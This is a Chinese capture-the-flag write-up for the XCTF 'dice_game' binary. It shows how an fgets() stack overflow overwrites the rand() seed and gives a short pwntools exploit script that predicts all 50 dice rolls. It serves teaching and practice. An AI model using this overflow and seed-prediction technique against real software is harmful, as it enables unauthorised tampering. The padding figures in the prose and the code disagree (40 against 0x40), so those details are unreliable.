dice_game(xctf)
程序员文章站
2022-05-15 20:17:15
...
0x0 程序保护和流程
保护:
流程:
main()
sub_A20()
sub_B28()
只要sub_A20()的验证通过50次就可以通过sub_B20()输出flag。而sub_A20()通过随机数来决定返回的值是否为1。整个程序只有fgets()处可以覆盖栈上其他变量的值,所以可以通过fgets()修改seed[0]的值。
0x1 利用过程
可以观察到seed[0]处于rsp+40h的位置所以padding=‘a’*40之后就可以覆盖seed[0]的值了。
0x2 exp
from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
sh.recvuntil('Give me the point(1~6): ')
sh.sendline(str(libc.rand()%6+1))
sh.recv()
上一篇: 布兰奇·蒙尼尔是谁?布兰奇·蒙尼尔事件是怎么回事?
下一篇: 咖啡可以空腹喝吗,喝咖啡需要注意这些